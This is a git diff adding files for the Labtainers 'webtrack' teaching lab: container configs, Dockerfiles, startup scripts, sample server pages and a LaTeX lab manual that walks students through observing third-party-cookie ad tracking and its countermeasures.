directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + +/home/ubuntu/MyHTTPServer.sh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/index.html new file mode 100644 index 000000000..ff1b7c6c1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/index.html @@ -0,0 +1,12 @@ + +Sample index.html for MyHTTPServer + +

Sample index.html for MyHTTPServer

+
+

Links:

+
+link1.html +
+link2.html + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/link1.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/link1.html new file mode 100644 index 000000000..485184386 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/link1.html @@ -0,0 +1,15 @@ + +Sample link1.html for MyHTTPServer + +This is sample

link1.html

for MyHTTPServer +
+index.html +
+link2.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/link2.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/link2.html new file mode 100644 index 000000000..590447299 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/link2.html @@ -0,0 +1,15 @@ + +Sample link2.html for MyHTTPServer + +This is sample

link2.html

for MyHTTPServer +
+index.html +
+link1.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/browser/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/browser/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/browser/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/browser/_bin/noskip b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/browser/_bin/noskip new file mode 100644 index 000000000..0d6f4e7b2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/browser/_bin/noskip @@ -0,0 +1 @@ +places.sqlite diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/browser/_bin/student_startup.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/browser/_bin/student_startup.sh new file mode 100755 index 000000000..4cd515d0b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/browser/_bin/student_startup.sh @@ -0,0 +1,4 @@ +#!/bin/bash +# start up firefox in the background +# +firefox > /dev/null 2>&1 & diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/browser/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/browser/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/browser/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/config/about.txt new file mode 100644 index 000000000..046e06270 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/config/about.txt @@ -0,0 +1 @@ +Illustrates web tracking techniques and the role of ad servers diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/config/start.config new file mode 100644 index 000000000..e9f509394 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/config/start.config @@ -0,0 +1,102 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER browser + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED web-sites_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK SOME_NETWORK + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER web-sites + # user name of user who interacts with the container. + USER student + PASSWORD password123 + # cause ~/instructions.txt to display, if it exists + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + SOME_NETWORK 172.25.0.2 + # + # Script name passed to the Docker start command. This defaults to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + # X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + +CONTAINER browser + # user name of user who interacts with the container. + USER ubuntu + SOME_NETWORK 172.25.0.3 + # cause ~/instructions.txt to display, if it exists + # + # The number of terminals browsers to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + # + # Script name passed to the Docker start command. This browsers to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + ADD-HOST www.wtlabelgg.com:172.25.0.2 + ADD-HOST wtlabelgg.com:172.25.0.2 + ADD-HOST www.wtmobilestore.com:172.25.0.2 + ADD-HOST www.wtshoestore.com:172.25.0.2 + ADD-HOST www.wtcamerastore.com:172.25.0.2 + ADD-HOST www.wtelectronicsstore.com:172.25.0.2 + ADD-HOST www.wtlabadserver.com:172.25.0.2 + # + # Mount Linux host X11 server socket for use by GUI-app in container. + X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/dockerfiles/Dockerfile.webtrack.browser.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/dockerfiles/Dockerfile.webtrack.browser.student new file mode 100644 index 000000000..997142060 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/dockerfiles/Dockerfile.webtrack.browser.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.firefox +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/dockerfiles/Dockerfile.webtrack.web-sites.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/dockerfiles/Dockerfile.webtrack.web-sites.student new file mode 100644 index 000000000..6e18bf821 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/dockerfiles/Dockerfile.webtrack.web-sites.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.lamp.xtra +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +#RUN adduser $user_name sudo +# replace above with below for centos/fedora +RUN usermod $user_name -a -G wheel +RUN echo "IncludeOptional sites-enabled/*.conf" >>/etc/httpd/conf/httpd.conf + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/usr/sbin/init"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/.~lock.webtrack-report.docx# b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/.~lock.webtrack-report.docx# new file mode 100644 index 000000000..fececc243 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/.~lock.webtrack-report.docx# @@ -0,0 +1 @@ +,mike,mike-VirtualBox,22.11.2017 14:39,file:///home/mike/.config/libreoffice/4; \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Figs/Guidelinefigure.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Figs/Guidelinefigure.jpg new file mode 100644 index 000000000..4ccf9da30 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Figs/Guidelinefigure.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Figs/clearhistory1.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Figs/clearhistory1.jpg new file mode 100644 index 000000000..c07f09356 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Figs/clearhistory1.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Figs/clearhistory2.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Figs/clearhistory2.jpg new file mode 100755 index 000000000..a7c50df51 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Figs/clearhistory2.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Figs/clearhistory3.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Figs/clearhistory3.jpg new file mode 100644 index 000000000..18f274de0 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Figs/clearhistory3.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Figs/clearhistory4.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Figs/clearhistory4.jpg new file mode 100755 index 000000000..6ef96d3ff Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Figs/clearhistory4.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Figs/privatewindow.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Figs/privatewindow.jpg new file mode 100644 index 000000000..25ca4afef Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Figs/privatewindow.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Makefile new file mode 100644 index 000000000..75802bd65 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Makefile @@ -0,0 +1,8 @@ +webtrack.pdf: Web_Tracking_Elgg.tex Web_Environment_PartI_Elgg.tex header.tex + latex Web_Tracking_Elgg + pdflatex -jobname=webtrack Web_Tracking_Elgg + pdflatex -jobname=webtrack Web_Tracking_Elgg + +clean: + rm -fr auto + rm -f Web_Tracking_Elgg.aux Web_Tracking_Elgg.log Web_Tracking_Elgg.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Web_Environment_PartI_Elgg.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Web_Environment_PartI_Elgg.tex new file mode 100644 index 000000000..102f7f7b4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Web_Environment_PartI_Elgg.tex @@ -0,0 +1,56 @@ +%\section{Lab Environment} + +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer webtrack +\end{verbatim} +Links to this lab manual and to an empty lab report will be displayed. If you create your lab report on a separate system, +be sure to copy it back to the specified location on your Linux system. + +\subsection{Environment Configuration} +This lab includes two networked computers, one running a the browser +and the other hosting each of the websites used in the lab. The computer +hosting websites runs the apache server, and each site is allocated its +own resources, as if each site ran on an independent web server. +The Firefox browser includes the \texttt{Web Developer / Network} tools for +to inspect the HTTP requests and responses. + + +\paragraph{Starting the Apache Server.} +The Apache web server will be running when the lab +commences. If you need to restart the web server, use +the following command: +\begin{verbatim} + % sudo systemctl restart httpd +\end{verbatim} + +\paragraph{The {\tt Elgg} Web Application.} +We use an open-source web application called {\tt Elgg} in this lab. +{\tt Elgg} is a web-based social-networking application. +It is already set up in on the vuln-server. +We have also created several user accounts on the {\tt Elgg} server and the credentials are given below. + + +\vspace{0.1in} +\begin{tabular}{|l|l|l|} +\hline +User & UserName & Password\\ +\hline +Admin & admin & seedelgg \\ +Alice & alice & seedalice \\ +Boby & boby & seedboby \\ +Charlie & charlie & seedcharlie \\ +Samy & samy & seedsamy \\ +\hline +\end{tabular} +\vspace{0.1in} + + +\paragraph{Configuring DNS.} +We have configured the following \urlorurls needed for this lab: diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Web_Tracking_Elgg.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Web_Tracking_Elgg.tex new file mode 100644 index 000000000..53e7f810f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/Web_Tracking_Elgg.tex @@ -0,0 +1,356 @@ +\input{header} + +\lhead{\bfseries SEED Labs -- Web Tracking Lab} + +\def \code#1 {\fbox{\scriptsize{\texttt{#1}}}} + +\begin{document} + +\begin{center} +{\LARGE Web Tracking Lab} +\end{center} + +\copyrightnotice + +\section{Lab Overview} +Behavioral targeting is a type of online advertising where ads are displayed based on the user’s web-browsing behavior. The user leaves a trail of digital foot prints moving from one website to the other. Behavioral targeting anonymously monitors and tracks the sites visited by a user. When a user surfs internet, the pages they visit, the searches they make, location of the user browsing from, device used for browsing and many other inputs are used by the tracking sites to collect data. A user profile is created from the data and data-mined for an online behavioral pattern of the user. As a result when users return to a specific site or a network of sites, the created user profiles are helpful in reaching the targeted audience to advertise. The targeted ads will fetch more user interest, the publisher (or seller) can charge a premium for these ads over random advertising or ads based on the context of a site. + +\section{Lab Environment} + +\newcommand{\urlorurls}{URLs } +\newcommand{\urlisorurlsare}{URLs are } + +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%%% Part I of the environment setup +\input{Web_Environment_PartI_Elgg} +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + +\vspace{0.1in} +\begin{tabular}{|l|l|l|} +\hline +URL & Description & Directory\\ +\hline +\url{http://www.wtlabelgg.com } & Elgg web site & /var/www/webtracking/elgg \\ +\url{http://www.wtcamerastore.com} & CameraStore & /var/www/webtracking/CameraStore \\ +\url{http://www.wtmobilestore.com } & MobileStore & /var/www/webtracking/MobileStore \\ +\url{http://www.wtelectronicsstore.com } & ElectronicStore & /var/www/webtracking/ElectronicStore \\ +\url{http://www.wtshoestore.com} & ShoeStore & /var/www/webtracking/ShoeStore \\ +\url{http://www.wtlabadserver.com } & ReviveAdserver & /var/www/webtracking/adserver \\ +\hline +\end{tabular} +\vspace{0.1in} + + + +\subsection{Clear History and cookies} + +Please follow the instructions to {\tt clear history} and {\tt cookies} from the Firefox browser. + +\begin{enumerate} + \item Within the Firefox browser, select {\tt Preferences} per Figure ~\ref{fig:clear_history1} from the top-right menu button, and click on {\tt Privacy and Security} as shown in Figure ~\ref{fig:clear_history2} +and then click the +{\tt Clear Recent History…} per ~\ref{fig:clear_history3}. A window {\tt Clear All History} pops up, as shown in Figure ~\ref{fig:clear_history4} + + \begin{figure} + \centering + \begin{subfigure} + \centering + \includegraphics[width=0.4\textwidth,natwidth=621,natheight=403]{Figs/clearhistory1.jpg} + \caption{select Preferences.} + \label{fig:clear_history1} + \end{subfigure}% + \begin{subfigure} + \centering + \includegraphics[width=0.4\textwidth,natwidth=621,natheight=403]{Figs/clearhistory2.jpg} + \caption{Privacy and Security.} + \label{fig:clear_history2} + \end{subfigure} + \end{figure} + \begin{figure}[ht] + \centering + \includegraphics[width=0.4\textwidth,natwidth=621,natheight=403]{Figs/clearhistory3.jpg} + \caption{Clear recent history.} + \label{fig:clear_history3} + \end{figure} + + \item Select all the check boxes and Click on {\tt Clear Now} button in the pop up window. + \begin{figure}[ht] + \centering + \includegraphics[width=0.4\textwidth,natwidth=621,natheight=403]{Figs/clearhistory4.jpg} + \caption{Clear history and cookies.} + \label{fig:clear_history4} + \end{figure} + +\end{enumerate} + + +\subsection{Open a new private window in Firefox} + +Please follow the instructions to open a new private window in Firefox and start a private browsing session. + +\begin{enumerate} + \item With Firefox running, click on the menu button (upper-right) and welect {\tt Open a New Private Window} option as shown in Figure ~\ref{fig:private_window} + + \begin{figure} + \centering + \includegraphics[width=0.4\textwidth,natwidth=621,natheight=403]{Figs/privatewindow.jpg} + \caption{Open a private browser in Firefox.} + \label{fig:private_window} + \end{figure} + + \item New Private browsing Firefox window opens up, start browsing in that private browser. + + +\end{enumerate} + + +\subsection{Note for Instructors} + +This lab may be conducted in a +supervised lab environment. The instructor may provide the following +background information to students at the beginning of the lab session: +\begin{enumerate} + \item Information on how to use the pre-configured virtual machine. + \item How to use Firefox and the Developer Storage Inspector and +the Firefox {\tt Web Developer / Network} tools. + \item A brief overview of the tasks. + +\end{enumerate} + + +\section{Lab Tasks} + + +\subsection{Task 1: Understand the basic working of the web tracking} + +Nowadays the online web user tracking helps in displaying ads to the targeted audience. +When a user visits a website, there are certain ads, of which some of them are targeted advertisements. +Say a user visits a certain product in an E-commerce website, he visits the product multiple times, checks the reviews and reads more about the product. +Sometime later when the user visits another website, to his surprise he finds the previously visited product is displayed as an advertisement. + +The objective of this task is to understand the basic working of the web tracking. +In this task you need to open the E-commerce websites, view details of one or more products. +Once you login to the {\tt Elgg} website you should see the most visited product displayed as an advertisement. + + +\begin{enumerate} + \item Open {\tt Elgg} website without visiting any website and describe your observation in the lab report. + \item Open Firefox and open the {\tt CameraStore}, {\tt MobileStore}, {\tt ElectronicStore} and {\tt ShoeStore} websites. + \item Click on view details for any products in the websites. + \item Refresh the {\tt Elgg} website in Firefox and describe your observation. + \item Close the browser, reopen it and browse the {\tt Elgg} website. Describe your observation. +\end{enumerate} + + +Note: If you want to repeat the observations for step 1, clear the {\tt Browsing History} and {\tt Cookies} from the Firefox browser. +Please follow the instructions to clear {\tt history} and {\tt cookies} in section 2.2 + +\subsection{Task 2: Importance of cookie in Web tracking} + +{\tt Cookies} are created when a user's browser loads a particular website. The website sends information to the browser which then creates a text file. +Every time the user goes back to the same website, the browser retrieves and sends this file to the website's web server. +Computer {\tt Cookies} are created not just by the website that the user is browsing but also by other websites that run ads, widgets, or other elements on the web page which are being loaded. +These {\tt cookies} regulate the ad display and functioning of other elements on the web page. + +The objective of this task is to understand the importance of {\tt cookie} in web tracking. +In this task you need to identify the tracking {\tt cookie} using the {\tt Web Developer / Network} tool in Firefox. +Please follow the steps below and give your observation. + +\begin{enumerate} + \item Open any one of the E Commerce websites {\tt CameraStore}, {\tt MobileStore}, {\tt ElectronicStore} and {\tt ShoeStore}. + \item Click on view details for any product in websites and capture {\tt Web Developer / Network} traffic. + \item In {\tt Web Developer / Network}, identify the HTTP request, which set the {\tt third party cookies}, and take the screenshot. + \item Right click on the productDetail page and select {\tt View Page Source}. Find out how the request for tracking {\tt cookie} is sent from the webpage, please take a screenshot and describe your observation. +\end{enumerate} + +Third party {\tt cookies} are {\tt cookies} that are set by web site with a domain name other than the one the user is currently visiting. +For example, user visits website abc.com, say the web page abc.com has an image to fetch from xyz.com. +That image request can set {\tt cookie} on domain xyz.com, and the {\tt cookie} set on xyz.com domain is known as a {\tt third-party cookie}. +Some advertisers use these types of {\tt cookies} to track your visits to the various websites on which they advertise. + +The objective of this task is to understand how {\tt third party cookies} are used in web tracking. +In this task you need to identify the third party {\tt cookie} using the Firefox Developer Storage Inspector, which can be viewed using +the upper-right menu, select ``Developer'' and then ``Storage Inspector''. +Please strictly follow the steps below and record your observation. + +\begin{enumerate} + \item Open any one of the E Commerce websites {\tt CameraStore}, {\tt MobileStore}, {\tt ElectronicStore}, {\tt ShoeStore} and view details for any product. + \item Open the ad server web page \url{ http://www.wtlabadserver.com}. + \item Open the Storage Inspector on both pages and observe its displayed Cookie values. Switch between the products webpage and ad server webpage. + Describe your observation. (Please do NOT reload the products webpage). +\end{enumerate} + +Identify the {\tt third party cookie} used for tracking in {\tt Storage Inspector}. +Describe your observations in the report and explain why is it called a {\tt third party cookie}? +Give reasons and screenshots to support your observation. +A high-level architecture guideline is given in section 4, Figure~\ref{fig:guideline_figure}. + +Note: If you wish to redo the task from beginning, please delete {\tt history} and {\tt cookies} from your Firefox browser. +Please follow the instructions to {\tt clear history} and {\tt cookies} in section 2.2 + +\subsection{Task 3: Tracked user interests and data} + + +The ad servers update their database from users browsing history. +They keep track of the web pages visited, articles read, videos watched and any other footprints which user can provide. +The objective of this task is to figure out the user interests and view the logged user impressions. +In this task you need to understand that all the products viewed by you will be logged in the ad server database. +Please follow the steps below and give your observation. + +\begin{enumerate} + \item Open the E Commerce websites {\tt CameraStore}, {\tt MobileStore}, {\tt ElectronicStore} and {\tt ShoeStore}. + \item Click on view details for any product in the website. + \item Open \url{www.wtlabadserver.com/preferences.php} in a new tab and observe the webpage. +\end{enumerate} + +Explain how the user impressions are logged in ad server database, and how is it mapped to a user. +Provide evidence to support your observation. + +\subsection{Task 4: How ads are displayed in website} + +The ad servers use the user profile (browsing history, recent product visits) to display the advertisements and now that the {\tt cookie} is set to track the user, +the ad servers display the targeted advertisements. + +In this task you need to observe how the ad is rendered and displayed in the website. +Please follow the steps below and give your observation. +\begin{enumerate} + \item Open the {\tt Elgg} website in Firefox browser. + \item Capture and observe the {\tt Web Developer / Network} traffic of the {\tt Elgg} website, identify the HTTP requests which are from a different {\tt domain} (third party). +\end{enumerate} + +Explain in detail how the {\tt Elgg} website displays the targeted ads of the user. +Provide evidence to support your explanation. +(Hint: Use the table displayed in Task3 and {\tt Web Developer / Network} traffic in Task2). + +\subsection{Task 5: Tracking in a Private browser window} + + +In {\tt InPrivate} browsing the browser stores some information such as {\tt cookies} and temporary Internet files so the webpages you visit will work correctly. +However, at the end of your {\tt InPrivate} browsing session, this information is discarded. +Once the {\tt InPrivate} browser is closed the {\tt cookies} are cleared, and temporary internet files are deleted for that session. + +The objective of this task is to understand the working of the web tracking in a private browser window. +In this task you need to open the E-commerce websites, view details of one or more products. +Once you login to the {\tt Elgg} website (in the same private browser) you should see the most visited product displayed as an advertisement. + +\begin{enumerate} + \item Open {\tt Elgg} website without visiting any website and describe your observation in the lab report. + \item Open Firefox and open the {\tt CameraStore}, {\tt MobileStore}, {\tt ElectronicStore} and {\tt ShoeStore} websites. + \item Click on view details for any products in the websites. + \item Refresh the {\tt Elgg} website in Firefox and describe your observation. + \item Close the {\tt InPrivate} browser, reopen it and browse the {\tt Elgg} website. Describe your observation. +\end{enumerate} + +Compare your observations with Task1. Explain the reasons and provide evidence to support your observations. + +Note: Please follow the instructions in section 2.3 to open a new private window in Firefox. + +\subsection{Task 6: Real world tracking} + +The web tracking in real world involves many ad servers, each ad servers have their own technique of tracking the user interests. +In this task you need to visit any of the websites given below and identify the web requests which are sent to the ad servers using the {\tt Web Developer / Network} in Firefox. +The websites are: + +\begin{enumerate} + \item \url{http://dictionary.reference.com} + \item \url{http://www.amazon.com} + \item \url{http://www.careerbuilder.com} +\end{enumerate} + +Open the websites, observe the HTTP request and response in {\tt Web Developer / Network}. +Capture screenshot of one HTTP request to the real world ad server for each web site. +Also identify the {\tt third party cookie} used for that HTTP request. + +\subsection{Task 7: Countermeasures} + +There are certain countermeasures for the web tracking but most of the websites won’t work properly after implementing the counter measures. +Most of the websites are highly dependent on {\tt JavaScript} and {\tt third party cookies}. +You must have observed that the web tracking tasks are mostly dependent on the {\tt third party cookies}. + +The objective of this task is to understand the countermeasures. +In this task you should disable the {\tt third party cookies} in Firefox browser and figure out if your impressions are tracked. +Please follow the steps below and give your observation: + +\begin{enumerate} + \item Disable the {\tt third party cookies} from the Firefox browser. Please follow the instructions of how to disable {\tt third party cookies} in Firefox browser in \url{https://support.mozilla.org/en-US/kb/disable-third-party-cookies}. + \item After disabling the third party {\tt cookies}, open the {\tt CameraStore}, {\tt MobileStore}, {\tt ElectronicStore}, {\tt ShoeStore} websites and {\tt Web Developer / Network}. + \item Click on view details for any products in the websites. + \item In {\tt Web Developer / Network}, identify the HTTP request, which set the {\tt third party cookies}, and take the screenshot. + \item Open {\tt Elgg} website and describe your observation. Also take the screenshot of HTTP request to ads server in {\tt Web Developer / Network}. Compare it with the HTTP request to ads server in Task 4 and explain the difference. + +\end{enumerate} + +Also there are other ways to mitigate the web tracking. To opt out of targeted advertisement, +add browser extensions like RequestPolicy, NoScript and Ghostery which control the third party requests from the web browser. +Also one can keep {\tt cookies} for the browsing session, by setting a {\tt cookie} policy “only keep cookies until I close my browser” +which will delete all the {\tt cookies} after the browser window is closed. + +Major web browsers provide with an option of {\tt Do Not Track}, which is a feature to let third party trackers know your preference to opt out third party tracking, +and it is done by sending a HTTP header for every web request. +This {\tt Do Not Track} preference may or may not adhered by the third party trackers. +Some third party trackers provide with an option of {\tt Opt Out} of targeted advertisement. +Some of them may interpret "Opt Out" to mean "do not show me targeted ads", rather than "do not track my behavior online". +You can check your tracked online profile created by Google in 